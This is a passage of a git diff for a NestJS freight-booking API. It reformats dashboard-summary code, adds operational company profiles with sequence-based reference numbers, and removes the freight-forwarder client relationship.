* column, so "delivered YTD" counts bookings created this year that reached a
* delivered/completed status.
*/
- async getDashboardSummary(userId: string): Promise {
+ async getDashboardSummary(
+ userId: string,
+ ): Promise {
// A user without a company profile has no bookings — return an empty summary
// rather than 404, so the portal home still renders.
const profile = await this.profilesRepo.findByUserId(userId);
@@ -125,7 +178,9 @@ export class CompaniesService {
const yearStart = new Date(now.getFullYear(), 0, 1);
const prevYearStart = new Date(now.getFullYear() - 1, 0, 1);
// Same point in the previous year, so YoY compares like-for-like windows.
- const prevYearToDate = new Date(prevYearStart.getTime() + (now.getTime() - yearStart.getTime()));
+ const prevYearToDate = new Date(
+ prevYearStart.getTime() + (now.getTime() - yearStart.getTime()),
+ );
const [
deliveredThis,
@@ -139,20 +194,36 @@ export class CompaniesService {
this.dashboardRepo.countDelivered(companyId, yearStart, now),
this.dashboardRepo.countCommitted(companyId, yearStart, now),
this.dashboardRepo.sumPaidSpendByCurrency(companyId, yearStart, now),
- this.dashboardRepo.sumPaidSpendByCurrency(companyId, prevYearStart, prevYearToDate),
+ this.dashboardRepo.sumPaidSpendByCurrency(
+ companyId,
+ prevYearStart,
+ prevYearToDate,
+ ),
this.dashboardRepo.sumCommittedTonnage(companyId, yearStart, now),
- this.dashboardRepo.sumCommittedTonnage(companyId, prevYearStart, prevYearToDate),
- this.dashboardRepo.monthlyCommittedTonnage(companyId, this.monthsAgo(now, 5), now),
+ this.dashboardRepo.sumCommittedTonnage(
+ companyId,
+ prevYearStart,
+ prevYearToDate,
+ ),
+ this.dashboardRepo.monthlyCommittedTonnage(
+ companyId,
+ this.monthsAgo(now, 5),
+ now,
+ ),
]);
// Spend can span currencies; report the dominant one (prefer ETB on ties).
const spend = this.pickCurrencyTotal(spendThisByCcy);
- const spendPrev = spendPrevByCcy.find((c) => c.currency === spend.currency)?.total ?? 0;
+ const spendPrev =
+ spendPrevByCcy.find((c) => c.currency === spend.currency)?.total ?? 0;
return {
deliveredCount: deliveredThis,
// Share of committed bookings that reached delivered/completed.
- completionRate: committedThis > 0 ? Math.round((deliveredThis / committedThis) * 100) : 0,
+ completionRate:
+ committedThis > 0
+ ? Math.round((deliveredThis / committedThis) * 100)
+ : 0,
spendYtd: spend.total,
spendCurrency: spend.currency,
spendYtdChangePct: this.changePct(spend.total, spendPrev),
@@ -172,12 +243,12 @@ export class CompaniesService {
deliveredCount: 0,
completionRate: 0,
spendYtd: 0,
- spendCurrency: 'ETB',
+ spendCurrency: "ETB",
spendYtdChangePct: 0,
freightVolume: {
totalTonnes: 0,
totalValue: 0,
- currency: 'ETB',
+ currency: "ETB",
ytdChangePct: 0,
monthly: this.buildMonthlySeries(now, []),
},
@@ -190,8 +261,11 @@ export class CompaniesService {
}
/** Pick the currency with the largest total, preferring ETB on ties / when empty. */
- private pickCurrencyTotal(totals: { currency: string; total: number }[]): { currency: string; total: number } {
- if (totals.length === 0) return { currency: 'ETB', total: 0 };
+ private pickCurrencyTotal(totals: { currency: string; total: number }[]): {
+ currency: string;
+ total: number;
+ } {
+ if (totals.length === 0) return { currency: "ETB", total: 0 };
return totals.reduce((best, cur) => (cur.total > best.total ? cur : best));
}
@@ -206,13 +280,29 @@ export class CompaniesService {
now: Date,
rows: { year: number; month: number; tonnes: number }[],
): { month: string; tonnes: number }[] {
- const labels = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
+ const labels = [
+ "Jan",
+ "Feb",
+ "Mar",
+ "Apr",
+ "May",
+ "Jun",
+ "Jul",
+ "Aug",
+ "Sep",
+ "Oct",
+ "Nov",
+ "Dec",
+ ];
const byKey = new Map(rows.map((r) => [`${r.year}-${r.month}`, r.tonnes]));
const series: { month: string; tonnes: number }[] = [];
for (let i = 5; i >= 0; i--) {
const d = new Date(now.getFullYear(), now.getMonth() - i, 1);
const key = `${d.getFullYear()}-${d.getMonth() + 1}`;
- series.push({ month: labels[d.getMonth()], tonnes: Math.round(byKey.get(key) ?? 0) });
+ series.push({
+ month: labels[d.getMonth()],
+ tonnes: Math.round(byKey.get(key) ?? 0),
+ });
}
return series;
}
@@ -224,7 +314,10 @@ export class CompaniesService {
return updated;
}
- async updateProfile(userId: string, dto: UpdateProfileDto): Promise {
+ async updateProfile(
+ userId: string,
+ dto: UpdateProfileDto,
+ ): Promise {
const { profile, company } = await this.getCompanyInfoByUserId(userId);
const companyUpdates: Record = {};
@@ -233,30 +326,38 @@ export class CompaniesService {
if (dto.companyName !== undefined) companyUpdates.name = dto.companyName;
if (dto.companyEmail !== undefined) companyUpdates.email = dto.companyEmail;
if (dto.companyPhone !== undefined) companyUpdates.phone = dto.companyPhone;
- if (dto.companyLocation !== undefined) companyUpdates.country = dto.companyLocation;
- if (dto.companyAddress !== undefined) companyUpdates.address = dto.companyAddress;
+ if (dto.companyLocation !== undefined)
+ companyUpdates.country = dto.companyLocation;
+ if (dto.companyAddress !== undefined)
+ companyUpdates.address = dto.companyAddress;
if (dto.tin !== undefined) companyUpdates.tin = dto.tin;
if (dto.vatNumber !== undefined) companyUpdates.vatNumber = dto.vatNumber;
if (dto.fanNumber !== undefined) {
- companyUpdates.businessLicense = dto.fanNumber;
companyUpdates.fanNumber = dto.fanNumber;
}
- if (dto.contactPersonName !== undefined) attrUpdates.contactPersonName = dto.contactPersonName;
- if (dto.contactPersonPhone !== undefined) attrUpdates.contactPersonPhone = dto.contactPersonPhone;
- if (dto.generalManagerName !== undefined) attrUpdates.generalManagerName = dto.generalManagerName;
- if (dto.generalManagerEmail !== undefined) attrUpdates.generalManagerEmail = dto.generalManagerEmail;
- if (dto.generalManagerPhone !== undefined) attrUpdates.generalManagerPhone = dto.generalManagerPhone;
+ if (dto.contactPersonName !== undefined)
+ attrUpdates.contactPersonName = dto.contactPersonName;
+ if (dto.contactPersonPhone !== undefined)
+ attrUpdates.contactPersonPhone = dto.contactPersonPhone;
+ if (dto.generalManagerName !== undefined)
+ attrUpdates.generalManagerName = dto.generalManagerName;
+ if (dto.generalManagerEmail !== undefined)
+ attrUpdates.generalManagerEmail = dto.generalManagerEmail;
+ if (dto.generalManagerPhone !== undefined)
+ attrUpdates.generalManagerPhone = dto.generalManagerPhone;
if (dto.poaName !== undefined) attrUpdates.poaName = dto.poaName;
if (dto.poaPhone !== undefined) attrUpdates.poaPhone = dto.poaPhone;
if (dto.poaEmail !== undefined) attrUpdates.poaEmail = dto.poaEmail;
- if (dto.poaLocation !== undefined) attrUpdates.poaLocation = dto.poaLocation;
+ if (dto.poaLocation !== undefined)
+ attrUpdates.poaLocation = dto.poaLocation;
if (dto.poaAddress !== undefined) attrUpdates.poaAddress = dto.poaAddress;
companyUpdates.attributes = attrUpdates;
const updated = await this.companiesRepo.update(company.id, companyUpdates);
- if (!updated) throw new NotFoundException(`Company ${company.id} not found`);
+ if (!updated)
+ throw new NotFoundException(`Company ${company.id} not found`);
return new ProfileResponseDto(profile, updated);
}
@@ -270,7 +371,9 @@ export class CompaniesService {
const existing = await this.profilesRepo.findByEmail(dto.email);
if (existing) {
- throw new ConflictException(`Profile with email ${dto.email} already exists`);
+ throw new ConflictException(
+ `Profile with email ${dto.email} already exists`,
+ );
}
return this.profilesRepo.create(dto);
@@ -278,7 +381,8 @@ export class CompaniesService {
async findProfileByUserId(userId: string): Promise {
const profile = await this.profilesRepo.findByUserId(userId);
- if (!profile) throw new NotFoundException(`Profile for user ${userId} not found`);
+ if (!profile)
+ throw new NotFoundException(`Profile for user ${userId} not found`);
return profile;
}
@@ -286,28 +390,119 @@ export class CompaniesService {
return this.profilesRepo.findByCompanyId(companyId);
}
- async createFFClient(dto: CreateFFClientDto): Promise {
- await this.findCompanyById(dto.forwarderCompanyId);
- await this.findCompanyById(dto.clientCompanyId);
+ private getProfileTypeForCompanyType(companyType: string): ProfileType[] {
+ switch (companyType) {
+ case "customer":
+ return [ProfileType.importer, ProfileType.exporter];
+ case "freight_forwarder":
+ return [ProfileType.freightForwarder];
+ case "dj_freight_forwarder":
+ return [ProfileType.djFreightForwarder];
+ case "transporter":
+ return [ProfileType.transporter];
+ default:
+ return [];
+ }
+ }
- const existing = await this.ffClientsRepo.findRelationship(
- dto.forwarderCompanyId,
- dto.clientCompanyId,
- );
- if (existing) {
- throw new ConflictException('This forwarder-client relationship already exists');
+ async createCompanyProfile(
+ companyId: string,
+ profileType?: ProfileType,
+ ): Promise {
+ const company = await this.findCompanyById(companyId);
+
+ const allowedTypes = this.getProfileTypeForCompanyType(company.type);
+
+ const type = profileType ?? allowedTypes[0];
+ if (!allowedTypes.includes(type)) {
+ throw new BadRequestException(
+ `Profile type "${type}" is not allowed for company type "${company.type}"`,
+ );
}
- return this.ffClientsRepo.create(dto);
+ const existing = await this.companyProfilesRepo.findByType(companyId, type);
+ if (existing) {
+ throw new ConflictException(
+ `Company already has a ${type} profile (${existing.reference})`,
+ );
+ }
+
+ const reference = await this.companyProfilesRepo.generateReference(type);
+
+ return this.companyProfilesRepo.create({
+ companyId,
+ type,
+ reference,
+ status: ProfileStatus.Active,
+ });
}
- async findForwarderClients(forwarderCompanyId: string): Promise {
- return this.ffClientsRepo.findByForwarder(forwarderCompanyId);
+ async createDefaultProfilesForCompany(
+ companyId: string,
+ ): Promise {
+ const company = await this.findCompanyById(companyId);
+ const types = this.getProfileTypeForCompanyType(company.type);
+
+ const profiles: CompanyProfile[] = [];
+ for (const type of types) {
+ const existing = await this.companyProfilesRepo.findByType(
+ companyId,
+ type,
+ );
+ if (!existing) {
+ profiles.push(await this.createCompanyProfile(companyId, type));
+ }
+ }
+
+ if (profiles.length === 0) {
+ throw new BadRequestException(
+ `Company of type "${company.type}" must have at least one operational profile`,
+ );
+ }
+
+ return profiles;
}
- async deleteFFClient(id: string): Promise {
- const client = await this.ffClientsRepo.findById(id);
- if (!client) throw new NotFoundException(`FFClient ${id} not found`);
- await this.ffClientsRepo.softDelete(id);
+ /**
+ * Add operational profile(s) to the current user's company (portal settings).
+ * Add-only and idempotent: each requested type must be allowed for the
+ * company's type, profiles that already exist are skipped (not re-created or
+ * rejected), and the full updated list is returned.
+ */
+ async addCompanyProfilesForUser(
+ userId: string,
+ types: ProfileType[],
+ ): Promise {
+ const profile = await this.profilesRepo.findByUserId(userId);
+ if (!profile)
+ throw new NotFoundException(`Profile for user ${userId} not found`);
+
+ const companyId = profile.company?.id ?? profile.companyId;
+ const company = await this.findCompanyById(companyId);
+ const allowedTypes = this.getProfileTypeForCompanyType(company.type);
+
+ for (const type of types) {
+ if (!allowedTypes.includes(type)) {
+ throw new BadRequestException(
+ `Profile type "${type}" is not allowed for company type "${company.type}"`,
+ );
+ }
+
+ const existing = await this.companyProfilesRepo.findByType(
+ companyId,
+ type,
+ );
+ if (existing) continue;
+
+ const reference = await this.companyProfilesRepo.generateReference(type);
+ await this.companyProfilesRepo.create({
+ companyId,
+ type,
+ reference,
+ status: ProfileStatus.Active,
+ });
+ }
+
+ return this.companyProfilesRepo.findByCompanyId(companyId);
}
}
diff --git a/apps/edr-freight-api/src/modules/companies/company-profile.repository.ts b/apps/edr-freight-api/src/modules/companies/company-profile.repository.ts
new file mode 100644
index 000000000..db7427112
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/companies/company-profile.repository.ts
@@ -0,0 +1,61 @@
+import { Injectable } from "@nestjs/common";
+import { InjectRepository } from "@nestjs/typeorm";
+import { Repository } from "typeorm";
+import { BaseRepository } from "@edr/api-common";
+import { CompanyProfile, ProfileType } from "./entities/company-profile.entity";
+
+const SEQUENCE_MAP: Record = {
+ [ProfileType.exporter]: "seq_company_profile_ex",
+ [ProfileType.importer]: "seq_company_profile_im",
+ [ProfileType.freightForwarder]: "seq_company_profile_ffe",
+ [ProfileType.djFreightForwarder]: "seq_company_profile_fwj",
+ [ProfileType.transporter]: "seq_company_profile_tr",
+};
+
+const PREFIX_MAP: Record = {
+ [ProfileType.exporter]: "EX",
+ [ProfileType.importer]: "IM",
+ [ProfileType.freightForwarder]: "FFE",
+ [ProfileType.djFreightForwarder]: "FWJ",
+ [ProfileType.transporter]: "TR",
+};
+
+@Injectable()
+export class CompanyProfileRepository extends BaseRepository {
+ constructor(
+ @InjectRepository(CompanyProfile)
+ repo: Repository,
+ ) {
+ super(repo);
+ }
+
+ async generateReference(type: ProfileType): Promise {
+ const seqName = SEQUENCE_MAP[type];
+ const result = await this.repository.query(
+ `SELECT nextval('${seqName}') AS next_id`,
+ );
+ const nextId = result[0].next_id as number;
+ const prefix = PREFIX_MAP[type];
+ return `${prefix}-${String(nextId).padStart(5, "0")}`;
+ }
+
+ async findByCompanyId(companyId: string): Promise {
+ return this.repository.find({
+ where: { companyId },
+ relations: ["company"],
+ });
+ }
+
+ async findByType(
+ companyId: string,
+ type: ProfileType,
+ ): Promise {
+ return this.repository.findOne({
+ where: { companyId, type },
+ });
+ }
+
+ async findByReference(reference: string): Promise {
+ return this.repository.findOne({ where: { reference } });
+ }
+}
diff --git a/apps/edr-freight-api/src/modules/companies/dto/add-company-profiles.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/add-company-profiles.dto.ts
new file mode 100644
index 000000000..838c42111
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/companies/dto/add-company-profiles.dto.ts
@@ -0,0 +1,9 @@
+import { IsArray, IsEnum, ArrayMinSize } from "class-validator";
+import { ProfileType } from "../entities/company-profile.entity";
+
+export class AddCompanyProfilesDto {
+ @IsArray()
+ @ArrayMinSize(1)
+ @IsEnum(ProfileType, { each: true })
+ types!: ProfileType[];
+}
diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts
index 4287676d6..aa0bb72a2 100644
--- a/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts
+++ b/apps/edr-freight-api/src/modules/companies/dto/create-company-with-profile.dto.ts
@@ -1,5 +1,17 @@
-import { IsString, IsNotEmpty, IsOptional, IsEmail, MaxLength, IsBoolean, IsEnum } from 'class-validator';
+import { IsString, IsNotEmpty, IsOptional, IsEmail, MaxLength, IsBoolean, IsEnum, IsArray, ValidateNested, ArrayMinSize } from 'class-validator';
+import { Type } from 'class-transformer';
import { CompanyType } from '../entities/company.entity';
+import { ProfileType } from '../entities/company-profile.entity';
+
+export class CompanyProfileInputDto {
+ @IsEnum(ProfileType)
+ type!: ProfileType;
+
+ @IsOptional()
+ @IsString()
+ @MaxLength(100)
+ businessLicense?: string;
+}
export class CreateCompanyWithProfileDto {
@IsEnum(CompanyType)
@@ -55,4 +67,11 @@ export class CreateCompanyWithProfileDto {
@IsOptional()
attributes?: Record;
+
+ @IsOptional()
+ @IsArray()
+ @ArrayMinSize(1)
+ @ValidateNested({ each: true })
+ @Type(() => CompanyProfileInputDto)
+ companyProfiles?: CompanyProfileInputDto[];
}
diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts
index b22334697..5718f541e 100644
--- a/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts
+++ b/apps/edr-freight-api/src/modules/companies/dto/create-company.dto.ts
@@ -25,11 +25,6 @@ export class CreateCompanyDto {
@MaxLength(50)
vatNumber?: string;
- @IsOptional()
- @IsString()
- @MaxLength(100)
- businessLicense?: string;
-
@IsOptional()
@IsString()
@MaxLength(32)
diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-ff-client.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-ff-client.dto.ts
deleted file mode 100644
index 46375d7ea..000000000
--- a/apps/edr-freight-api/src/modules/companies/dto/create-ff-client.dto.ts
+++ /dev/null
@@ -1,24 +0,0 @@
-import { IsUUID, IsNotEmpty, IsOptional, IsBoolean, IsEnum } from 'class-validator';
-import { FFClientRelationship } from '../entities/ff-client.entity';
-
-export class CreateFFClientDto {
- @IsUUID()
- @IsNotEmpty()
- forwarderCompanyId!: string;
-
- @IsUUID()
- @IsNotEmpty()
- clientCompanyId!: string;
-
- @IsOptional()
- @IsEnum(FFClientRelationship)
- relationshipType?: FFClientRelationship;
-
- @IsOptional()
- @IsBoolean()
- canBookOnBehalf?: boolean;
-
- @IsOptional()
- @IsBoolean()
- canViewDocuments?: boolean;
-}
diff --git a/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts
index ee8ede34f..d6744e75f 100644
--- a/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts
+++ b/apps/edr-freight-api/src/modules/companies/dto/profile-response.dto.ts
@@ -1,9 +1,11 @@
import { Company } from '../entities/company.entity';
import { ExternalProfile } from '../entities/external-profile.entity';
+import { ResponseCompanyProfileDto } from './response-company.dto';
export class ProfileResponseDto {
companyId: string;
companyName: string;
+ companyType: string;
companyEmail: string | null;
companyPhone: string | null;
companyLocation: string;
@@ -12,6 +14,8 @@ export class ProfileResponseDto {
vatNumber: string | null;
fanNumber: string | null;
+ companyProfiles: ResponseCompanyProfileDto[];
+
contactPersonName: string | null;
contactPersonPhone: string | null;
generalManagerName: string | null;
@@ -29,6 +33,10 @@ export class ProfileResponseDto {
constructor(profile: ExternalProfile, company: Company) {
this.companyId = company.id;
this.companyName = company.name;
+ this.companyType = company.type;
+ this.companyProfiles =
+ company.companyProfiles?.map((p) => new ResponseCompanyProfileDto(p)) ??
+ [];
this.companyEmail = company.email ?? null;
this.companyPhone = company.phone ?? null;
this.companyLocation = company.country;
diff --git a/apps/edr-freight-api/src/modules/companies/dto/response-company.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/response-company.dto.ts
index 1879e25d6..cb7777e8b 100644
--- a/apps/edr-freight-api/src/modules/companies/dto/response-company.dto.ts
+++ b/apps/edr-freight-api/src/modules/companies/dto/response-company.dto.ts
@@ -1,6 +1,29 @@
import { Company, CompanyType, CompanyStatus } from '../entities/company.entity';
+import { CompanyProfile } from '../entities/company-profile.entity';
import { ResponseExternalProfileDto } from './response-external-profile.dto';
+export class ResponseCompanyProfileDto {
+ id: string;
+ type: string;
+ reference: string;
+ status: string;
+ businessLicense?: string | null;
+ attributes?: Record | null;
+ createdAt: Date;
+ updatedAt: Date;
+
+ constructor(profile: CompanyProfile) {
+ this.id = profile.id;
+ this.type = profile.type;
+ this.reference = profile.reference;
+ this.status = profile.status;
+ this.businessLicense = profile.businessLicense;
+ this.attributes = profile.attributes;
+ this.createdAt = profile.createdAt;
+ this.updatedAt = profile.updatedAt;
+ }
+}
+
export class ResponseCompanyDto {
id: string;
name: string;
@@ -8,7 +31,6 @@ export class ResponseCompanyDto {
status: CompanyStatus;
tin: string;
vatNumber?: string | null;
- businessLicense?: string | null;
fanNumber?: string | null;
country: string;
address?: string | null;
@@ -17,6 +39,7 @@ export class ResponseCompanyDto {
website?: string | null;
attributes?: Record | null;
profiles?: ResponseExternalProfileDto[];
+ companyProfiles?: ResponseCompanyProfileDto[];
createdAt: Date;
updatedAt: Date;
@@ -27,7 +50,6 @@ export class ResponseCompanyDto {
this.status = company.status;
this.tin = company.tin;
this.vatNumber = company.vatNumber;
- this.businessLicense = company.businessLicense;
this.fanNumber = company.fanNumber;
this.country = company.country;
this.address = company.address;
@@ -36,6 +58,7 @@ export class ResponseCompanyDto {
this.website = company.website;
this.attributes = company.attributes;
this.profiles = company.profiles?.map((p) => new ResponseExternalProfileDto(p));
+ this.companyProfiles = company.companyProfiles?.map((p) => new ResponseCompanyProfileDto(p));
this.createdAt = company.createdAt;
this.updatedAt = company.updatedAt;
}
diff --git a/apps/edr-freight-api/src/modules/companies/dto/response-ff-client.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/response-ff-client.dto.ts
deleted file mode 100644
index 44a48069b..000000000
--- a/apps/edr-freight-api/src/modules/companies/dto/response-ff-client.dto.ts
+++ /dev/null
@@ -1,23 +0,0 @@
-import { FFClient, FFClientRelationship } from '../entities/ff-client.entity';
-
-export class ResponseFFClientDto {
- id: string;
- forwarderCompanyId: string;
- clientCompanyId: string;
- relationshipType: FFClientRelationship;
- canBookOnBehalf: boolean;
- canViewDocuments: boolean;
- createdAt: Date;
- updatedAt: Date;
-
- constructor(client: FFClient) {
- this.id = client.id;
- this.forwarderCompanyId = client.forwarderCompanyId;
- this.clientCompanyId = client.clientCompanyId;
- this.relationshipType = client.relationshipType;
- this.canBookOnBehalf = client.canBookOnBehalf;
- this.canViewDocuments = client.canViewDocuments;
- this.createdAt = client.createdAt;
- this.updatedAt = client.updatedAt;
- }
-}
diff --git a/apps/edr-freight-api/src/modules/companies/dto/update-ff-client.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/update-ff-client.dto.ts
deleted file mode 100644
index a7ace689d..000000000
--- a/apps/edr-freight-api/src/modules/companies/dto/update-ff-client.dto.ts
+++ /dev/null
@@ -1,4 +0,0 @@
-import { PartialType } from '@nestjs/mapped-types';
-import { CreateFFClientDto } from './create-ff-client.dto';
-
-export class UpdateFFClientDto extends PartialType(CreateFFClientDto) {}
diff --git a/apps/edr-freight-api/src/modules/companies/entities/company-profile.entity.ts b/apps/edr-freight-api/src/modules/companies/entities/company-profile.entity.ts
new file mode 100644
index 000000000..84da76135
--- /dev/null
+++ b/apps/edr-freight-api/src/modules/companies/entities/company-profile.entity.ts
@@ -0,0 +1,62 @@
+import { BaseEntity } from "@edr/api-common";
+import { Column, Entity, Index, JoinColumn, ManyToOne } from "typeorm";
+import { Company } from "./company.entity";
+
+export enum ProfileType {
+ importer = "importer",
+ exporter = "exporter",
+ freightForwarder = "freight_forwarder",
+ djFreightForwarder = "dj_freight_forwarder",
+ transporter = "transporter",
+}
+
+export enum ProfileStatus {
+ Active = "active",
+ Pending = "pending",
+ Suspended = "suspended",
+ Blacklisted = "blacklisted",
+}
+
+@Entity({ schema: "freight", name: "company_profiles" })
+@Index(["reference"], { unique: true })
+@Index(["type"])
+@Index(["companyId"])
+export class CompanyProfile extends BaseEntity {
+ @Column({ name: "company_id", type: "uuid" })
+ companyId!: string;
+
+ @ManyToOne(() => Company, (company) => company.companyProfiles)
+ @JoinColumn({ name: "company_id" })
+ company!: Company;
+
+ @Column({ name: "type", type: "varchar", length: 32, enum: ProfileType })
+ type!: ProfileType;
+
+ @Column({
+ name: "reference",
+ type: "varchar",
+ length: 20,
+ nullable: false,
+ unique: true,
+ })
+ reference!: string;
+
+ @Column({
+ name: "status",
+ type: "varchar",
+ length: 32,
+ default: ProfileStatus.Active,
+ })
+ status!: ProfileStatus;
+
+ @Column({
+ name: "business_license",
+ type: "varchar",
+ length: 100,
+ nullable: true,
+ })
+ businessLicense?: string | null;
+
+ @Column({ name: "attributes", type: "jsonb", nullable: true })
+ attributes?: Record | null;
+}
diff --git a/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts b/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts
index 070854eb8..ec578a3b7 100644
--- a/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts
+++ b/apps/edr-freight-api/src/modules/companies/entities/company.entity.ts
@@ -1,79 +1,110 @@
-import { BaseEntity } from '@edr/api-common';
-import { Column, Entity, Index, OneToMany } from 'typeorm';
-import { ExternalProfile } from './external-profile.entity';
+import { BaseEntity } from "@edr/api-common";
+import { Column, Entity, Index, OneToMany } from "typeorm";
+import { ExternalProfile } from "./external-profile.entity";
+import { CompanyProfile } from "./company-profile.entity";
export enum CompanyType {
- Customer = 'customer',
- Forwarder = 'forwarder',
- Transporter = 'transporter',
- Broker = 'broker',
+ Customer = "customer",
+ FreightForwarder = "freight_forwarder",
+ DJFreightForwarder = "dj_freight_forwarder",
+ Transporter = "transporter",
}
export enum CompanyStatus {
- Active = 'active',
- Pending = 'pending',
- Suspended = 'suspended',
- Blacklisted = 'blacklisted',
+ Active = "active",
+ Pending = "pending",
+ Suspended = "suspended",
+ Blacklisted = "blacklisted",
}
-@Entity({ schema: 'freight', name: 'companies' })
-@Index(['tin'])
-@Index(['type'])
+@Entity({ schema: "freight", name: "companies" })
+@Index(["tin"])
+@Index(["type"])
export class Company extends BaseEntity {
- @Column({ name: 'name', type: 'varchar', length: 200 })
+ @Column({ name: "name", type: "varchar", length: 200 })
name!: string;
- @Column({ name: 'type', type: 'varchar', length: 32, enum: CompanyType })
+ @Column({ name: "type", type: "varchar", length: 32, enum: CompanyType })
type!: CompanyType;
- @Column({ name: 'status', type: 'varchar', length: 32, default: CompanyStatus.Pending })
+ @Column({
+ name: "status",
+ type: "varchar",
+ length: 32,
+ default: CompanyStatus.Pending,
+ })
status!: CompanyStatus;
- @Column({ name: 'tin', type: 'varchar', length: 10, unique: true })
+ @Column({ name: "tin", type: "varchar", length: 10, unique: true })
tin!: string;
- @Column({ name: 'vat_number', type: 'varchar', length: 50, nullable: true })
+ @Column({ name: "vat_number", type: "varchar", length: 50, nullable: true })
vatNumber?: string | null;
- @Column({ name: 'business_license', type: 'varchar', length: 100, nullable: true })
- businessLicense?: string | null;
-
- @Column({ name: 'fan_number', type: 'varchar', length: 16, nullable: true })
+ @Column({ name: "fan_number", type: "varchar", length: 16, nullable: true })
fanNumber?: string | null;
- @Column({ name: 'country', type: 'varchar', length: 32, default: 'Ethiopia' })
+ @Column({ name: "country", type: "varchar", length: 32, default: "Ethiopia" })
country!: string;
- @Column({ name: 'address', type: 'text', nullable: true })
+ @Column({ name: "address", type: "text", nullable: true })
address?: string | null;
- @Column({ name: 'phone', type: 'varchar', length: 20, nullable: true })
+ @Column({ name: "phone", type: "varchar", length: 20, nullable: true })
phone?: string | null;
- @Column({ name: 'email', type: 'varchar', length: 150, nullable: true })
+ @Column({ name: "email", type: "varchar", length: 150, nullable: true })
email?: string | null;
- @Column({ name: 'contact_person_name', type: 'varchar', length: 100, nullable: true })
+ @Column({
+ name: "contact_person_name",
+ type: "varchar",
+ length: 100,
+ nullable: true,
+ })
contactPersonName?: string | null;
- @Column({ name: 'contact_person_phone', type: 'varchar', length: 20, nullable: true })
+ @Column({
+ name: "contact_person_phone",
+ type: "varchar",
+ length: 20,
+ nullable: true,
+ })
contactPersonPhone?: string | null;
- @Column({ name: 'general_manager_name', type: 'varchar', length: 100, nullable: true })
+ @Column({
+ name: "general_manager_name",
+ type: "varchar",
+ length: 100,
+ nullable: true,
+ })
generalManagerName?: string | null;
- @Column({ name: 'general_manager_email', type: 'varchar', length: 150, nullable: true })
+ @Column({
+ name: "general_manager_email",
+ type: "varchar",
+ length: 150,
+ nullable: true,
+ })
generalManagerEmail?: string | null;
- @Column({ name: 'general_manager_phone', type: 'varchar', length: 20, nullable: true })
+ @Column({
+ name: "general_manager_phone",
+ type: "varchar",
+ length: 20,
+ nullable: true,
+ })
generalManagerPhone?: string | null;
- @Column({ name: 'website', type: 'varchar', length: 200, nullable: true })
+ @Column({ name: "website", type: "varchar", length: 200, nullable: true })
website?: string | null;
- @Column({ name: 'attributes', type: 'jsonb', nullable: true })
+ @Column({ name: "attributes", type: "jsonb", nullable: true })
attributes?: Record | null;
@OneToMany(() => ExternalProfile, (profile) => profile.company)
profiles?: ExternalProfile[];
+
+ @OneToMany(() => CompanyProfile, (profile) => profile.company)
+ companyProfiles?: CompanyProfile[];
}
diff --git a/apps/edr-freight-api/src/modules/companies/entities/ff-client.entity.ts b/apps/edr-freight-api/src/modules/companies/entities/ff-client.entity.ts
deleted file mode 100644
index 136dea277..000000000
--- a/apps/edr-freight-api/src/modules/companies/entities/ff-client.entity.ts
+++ /dev/null
@@ -1,37 +0,0 @@
-import { BaseEntity } from '@edr/api-common';
-import { Column, Entity, Index, ManyToOne, JoinColumn, Unique } from 'typeorm';
-import { Company } from './company.entity';
-
-export enum FFClientRelationship {
- ManagedAccount = 'managed_account',
- SubAgent = 'sub_agent',
-}
-
-@Entity({ schema: 'freight', name: 'ff_clients' })
-@Unique(['forwarderCompanyId', 'clientCompanyId'])
-@Index(['forwarderCompanyId'])
-@Index(['clientCompanyId'])
-export class FFClient extends BaseEntity {
- @Column({ name: 'forwarder_company_id', type: 'uuid' })
- forwarderCompanyId!: string;
-
- @ManyToOne(() => Company)
- @JoinColumn({ name: 'forwarder_company_id' })
- forwarderCompany!: Company;
-
- @Column({ name: 'client_company_id', type: 'uuid' })
- clientCompanyId!: string;
-
- @ManyToOne(() => Company)
- @JoinColumn({ name: 'client_company_id' })
- clientCompany!: Company;
-
- @Column({ name: 'relationship_type', type: 'varchar', length: 32, default: FFClientRelationship.ManagedAccount })
- relationshipType!: FFClientRelationship;
-
- @Column({ name: 'can_book_on_behalf', type: 'boolean', default: true })
- canBookOnBehalf!: boolean;
-
- @Column({ name: 'can_view_documents', type: 'boolean', default: true })
- canViewDocuments!: boolean;
-}
diff --git a/apps/edr-freight-api/src/modules/companies/ff-client.repository.ts b/apps/edr-freight-api/src/modules/companies/ff-client.repository.ts
deleted file mode 100644
index b94cedec6..000000000
--- a/apps/edr-freight-api/src/modules/companies/ff-client.repository.ts
+++ /dev/null
@@ -1,32 +0,0 @@
-import { Injectable } from '@nestjs/common';
-import { InjectRepository } from '@nestjs/typeorm';
-import { Repository } from 'typeorm';
-import { BaseRepository } from '@edr/api-common';
-import { FFClient } from './entities/ff-client.entity';
-
-@Injectable()
-export class FFClientRepository extends BaseRepository {
- constructor(
- @InjectRepository(FFClient)
- repo: Repository,
- ) {
- super(repo);
- }
-
- async findByForwarder(forwarderCompanyId: string): Promise {
- return this.repository.find({ where: { forwarderCompanyId } as any });
- }
-
- async findByClient(clientCompanyId: string): Promise {
- return this.repository.find({ where: { clientCompanyId } as any });
- }
-
- async findRelationship(
- forwarderCompanyId: string,
- clientCompanyId: string,
- ): Promise {
- return this.repository.findOne({
- where: { forwarderCompanyId, clientCompanyId } as any,
